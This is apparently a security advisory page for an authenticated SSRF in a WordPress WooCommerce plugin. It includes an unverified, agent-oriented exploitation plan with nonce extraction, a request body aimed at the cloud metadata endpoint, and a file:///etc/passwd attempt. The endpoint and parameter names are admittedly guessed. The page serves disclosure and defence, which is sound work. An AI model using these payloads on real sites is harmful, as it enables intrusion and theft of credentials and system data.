CVE-2025-12375

Printful Integration for WooCommerce <= 2.2.11 - Authenticated (Contributor+) Server-Side Request Forgery

mediumServer-Side Request Forgery (SSRF)
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.2.12
Patched in
1d
Time to patch

Description

The Printful Integration for WooCommerce plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.2.11 via the advanced size chart REST API endpoint. This is due to insufficient validation of user-supplied URLs before passing them to the download_url() function. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.2.11
PublishedFebruary 18, 2026
Last updatedFebruary 19, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-12375 (Printful SSRF) ## 1. Vulnerability Summary The **Printful Integration for WooCommerce** plugin (versions <= 2.2.11) contains an authenticated Server-Side Request Forgery (SSRF) vulnerability. The flaw exists within the REST API endpoint responsible for …

Show full research plan

Exploitation Research Plan: CVE-2025-12375 (Printful SSRF)

1. Vulnerability Summary

The Printful Integration for WooCommerce plugin (versions <= 2.2.11) contains an authenticated Server-Side Request Forgery (SSRF) vulnerability. The flaw exists within the REST API endpoint responsible for handling "advanced size charts." Specifically, user-supplied URLs are passed to the WordPress download_url() function without adequate validation or sanitization. This allows a Contributor-level user to force the server to make GET requests to arbitrary internal or external locations.

2. Attack Vector Analysis

  • Endpoint: /wp-json/printful/v1/size-charts/fetch (inferred, based on "size chart" and typical Printful REST patterns)
  • Method: POST (or potentially GET, depending on route registration)
  • Vulnerable Parameter: url (inferred)
  • Required Capability: edit_posts (Contributor level)
  • Authentication: Required. A valid WordPress session cookie and a wp_rest nonce are necessary.
  • Sinks: download_url() (which internally calls wp_safe_remote_get() but is often misconfigured or bypassable in local environments).

3. Code Flow (Inferred)

  1. Route Registration: The plugin registers a REST route in a class (likely Printful_REST_API or Printful_Size_Chart_Handler) using register_rest_route('printful/v1', '/size-charts/fetch', ...).
  2. Permission Check: The permission_callback checks for current_user_can('edit_posts') or similar, allowing Contributors access.
  3. Request Handling: The callback function retrieves the url parameter from the WP_REST_Request object.
  4. Vulnerable Sink: The code calls download_url( $params['url'] ).
  5. Request Execution: WordPress executes an HTTP GET request to the provided URL to "download" the resource to a temporary file.

4. Nonce Acquisition Strategy

To interact with the WordPress REST API as an authenticated user, we must provide a wp_rest nonce via the X-WP-Nonce header.

  1. Setup: Create a Contributor user and log in.
  2. Page Navigation: Navigate to the WordPress Dashboard (/wp-admin/).
  3. Extraction:
    • WordPress naturally localizes the REST nonce in the wp-admin source code within the wpApiSettings object.
    • Tool: Use browser_eval.
    • JavaScript: window.wpApiSettings?.nonce
  4. Alternative: If the plugin has its own specific localized scripts for the size chart feature, check for those:
    • Identify the shortcode or admin page: Look for add_menu_page or add_submenu_page in the source.
    • If a specific script is enqueued: browser_eval("window.printful_admin_params?.nonce") (inferred).

5. Exploitation Strategy

The goal is to demonstrate SSRF by hitting an internal service or a listener.

Step 1: Authentication & Nonce

  • Authenticate as a Contributor.
  • Extract the wp_rest nonce using browser_eval("wpApiSettings.nonce").

Step 2: Identify the REST Endpoint

  • Confirm the exact endpoint and parameter name.
  • Check: Grep the plugin directory for register_rest_route and download_url.
    • grep -rn "register_rest_route" .
    • grep -rn "download_url" .

Step 3: Execute SSRF Request

  • Use http_request to send a POST request to the identified endpoint.
  • URL: http://<target>/wp-json/printful/v1/size-charts/fetch (verify slug in source)
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Body:
    {
      "url": "http://169.254.169.254/latest/meta-data/"
    }
    
  • Note: For local test environments, use an internal IP like http://127.0.0.1:80 or a webhook listener.

6. Test Data Setup

  1. User Creation:
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  2. Plugin Activation:
    • Ensure printful-shipping-for-woocommerce is active.
    • Ensure WooCommerce is active (dependency).
  3. Internal Listener (Optional):
    • Start a simple listener on a non-standard port to catch the SSRF.
    • python3 -m http.server 8888 (if reachable from the web server container).

7. Expected Results

  • Success Criteria: The server response should indicate an attempt to process the URL.
  • Indicators:
    • If the URL is valid/internal: Response code 200 OK or 500 Internal Server Error (if download_url fails to parse the result as a size chart).
    • If hitting a listener: You will see a GET request in the listener logs originating from the WordPress server's IP.
    • download_url usually returns the path to a temporary file on success or a WP_Error on failure. The REST response may echo this error.

8. Verification Steps

  1. HTTP Logs: Check the access logs of the target internal service to confirm the GET request was received.
  2. Error Analysis: If the request fails, check the response body:
    • {"code":"rest_invalid_param","message":"...","data":{"status":400}} means the parameter was wrong.
    • {"code":"internal_server_error", ...} after a delay suggests the SSRF timed out or reached a destination that didn't return expected data.

9. Alternative Approaches

  • Path Traversal via SSRF: Try file:///etc/passwd (though download_url usually uses wp_safe_remote_get which blocks file:// schemes in newer WP versions, older or specific configurations might allow it).
  • GET Request: If POST is not accepted, try passing the URL as a query parameter:
    • GET /wp-json/printful/v1/size-charts/fetch?url=http://127.0.0.1:8888
  • Parameter Variation: Try image_url, chart_url, or path if url is not the correct key. (Grep includes/ for the callback function implementation to be certain).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.